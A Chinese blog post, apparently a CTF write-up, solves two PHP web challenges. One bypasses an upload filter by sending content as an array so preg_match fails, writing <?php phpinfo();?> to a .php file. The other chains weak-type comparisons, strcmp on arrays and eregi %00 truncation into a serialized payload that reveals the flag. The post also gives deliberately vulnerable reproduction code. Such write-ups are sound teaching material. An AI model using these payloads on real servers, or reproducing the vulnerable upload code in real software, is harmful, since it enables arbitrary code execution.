2017高校运维线上赛

Nov 6, 2017 10:54 · 273 words · 2 minute read ctf

日常划水。。。。。

EIS文件上传的题

总结

许多处理字符串的函数如果函数接收到的参数是数组的话,会返回NULL。例如strcmp,strlen,md5等,但是preg_match和preg_match_all函数的参数如果是数组的话则返回false,这样就可以绕过正则的过滤。

内容

题目是一个form表单,需要提交两个内容,一个是文件后缀名,一个是文件内容。

思路

看了writeup后,发现是过滤’<‘符号。然后要使用数组的方法绕过过滤。

知道传过去的是ext和content参数。于是构造的payload是 content[]=<?php phpinfo();?>&ext=php,然后访问这个文件,访问成功即绕过

原理

根据题目是要人输入内容然后生成文件,可以知道后台是将用户提交的数据写入文件,然后完成上传文件这一功能。

1.所以后台一定是使用了写入文件的函数。

写入的函数:file_put_contents,该函数的第二个参数是date参数,下边是date参数的官方解释

data
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。

如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))。

由文档可知该函数允许写入数组类型。

2.来分析过滤提交的字符串的函数preg_match,猜想该题的的过滤方法是

if(preg_match('/\</',$data)){
die('hack');
}

我们知道,很多处理字符串的函数如果传入数组会出错返回NULL, 如strcmp,strlen,md5等, 但preg_match 函数出错返回false, 这里我们可以通过var_dump(preg_match(‘/</‘,$data)); 来验证, 这样的话,preg_match 的正则过滤就失效了

因此猜测文件上传的代码是这样的

    
<?php 

if(isset($_POST['content']) && isset($_POST['ext'])){
    $data = $_POST['content'];
    $ext = $_POST['ext'];
 
    //var_dump(preg_match('/\</',$data));
    if(preg_match('/\</',$data)){
        die('hack');
    }
    $filename = time();
    file_put_contents($filename.$ext, $data);
}
 
?>

所以就可以使用content[]=<?php phpinfo();?>&ext=php来绕过。

复现的代码

要求:

上传php文件,代码内容为<?php phpinfo();?>。

<?php 
 
if(isset($_POST['content']) && isset($_POST['ext'])){
    $data = $_POST['content'];
    $ext = $_POST['ext'];
 
    //var_dump(preg_match('/\</',$data));
    if(preg_match('/\</',$data)){
        die('hack');
    }
    echo 1;
   // $filename = time();
   // file_put_contents($filename.$ext, $data);
}
 
?>


<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title></title>
</head>
<body>
<form action="45.php" method="post">
	文件后缀:<input type="text" name="ext">
	<br>
	文件内容:<input type="text" name="content">
	<input type="submit" value="提交">

</form>
</body>
</html>

修复

修复方法是使用fwrite 函数来代替危险的file_put_contents函数,fwrite函数只能传入字符串,如果是数组会出错返回false

EIS PHP是最好的语言

总结

利用php弱类型比较,用一个数组和数字比较,数组转换后大于2017,目前发现最大的字符串是9e9,大于9999999。

php中 0==任何字符串(===不行)绕过array_search()函数

strcmp函数弱类型比较,比较一个字符串和和一个数组时返回NULL

利用到eregi函数的%00截断。

第一个过滤的绕过

if(is_array($a)){
    is_numeric(@$a["param1"])?exit:NULL;
    if(@$a["param1"]){
        ($a["param1"]>2017)?$v1=1:NULL;
    } 

需要满足的条件

  • $a需要是数组
  • $a[“param1”]该元素不能是数字
  • $a[“param1”]需要大于2017

综上,数组满足要求

$a=array(“param1”=>array(0));

第二个过滤的绕过

    if(is_array(@$a["param2"])){
        if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
        $pos = array_search("nudt", $a["param2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["param2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }

需要满足的条件

  • $a[“param2”]是一个数组
  • count($a[“param2”])等于5并且$a[“param2”][0]是一个数组
  • 在数组$a[“param2”]中找不到nudt
  • 在数组$a[“param2”]中找到nudt

array_search是一个弱类型匹配,所以可以利用0来绕过,0==任何字符串(php弱类型比较中有解释)。

最终的内容

$a=array(“param2”=>array(array(),0,1,1,1));

第三个过滤的绕过

$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("M|n|s",$d.$c[0])?err():NULL; 
        strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
    }
}

strcmp()函数解析

strcmp — 二进制安全字符串比较 
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
是一个弱类型比较,若果其中一个参数是数组,则返回NULL

eregi函数存在%00截断,在%00截断有详细解释

第三步则是需要在$c[0].$d中找到MyAns。

最终结果

egg[0]=%00MyAns&egg[1]=%00MyAns&fish[]=1

$_GET和$_POST获取数组的方法

示例

?id[0]=1

这样传到后台的就是一个第0个元素是1的数组

最终

进行序列化操作,将这三个整合后得到

foo=a:2:{s:6:%
22param1%22;a:1:{i:0;i:1;}s:6:%22param2%22;a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:2;i:
3;i:3;i:4;i:4;}}&egg[0]=%00MyAns&egg[1]=%00MyAns&fish[]=1

源码

<?php
$v1=0;$v2=0;$v3=0;
$a=(array)unserialize(@$_GET['foo']);
//第一个参数的过滤
if(is_array($a)){
    is_numeric(@$a["param1"])?exit:NULL;
    if(@$a["param1"]){
        ($a["param1"]>2017)?$v1=1:NULL;
    }  
//第二个参数的过滤
    if(is_array(@$a["param2"])){
        if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
        $pos = array_search("nudt", $a["param2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["param2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
//第三个参数的过滤
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("M|n|s",$d.$c[0])?err():NULL; 
        strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}

?>
tweet Share